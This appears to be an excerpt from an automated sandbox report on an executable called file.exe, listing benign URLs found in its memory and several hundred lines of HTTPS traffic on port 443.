Source: file.exe, 00000000.00000003.1502791189.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502216515.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502676265.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1374553730.00000000056BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1378373236.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1458943554.00000000009B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_90.12.dr, chromecache_101.12.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1458600410.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
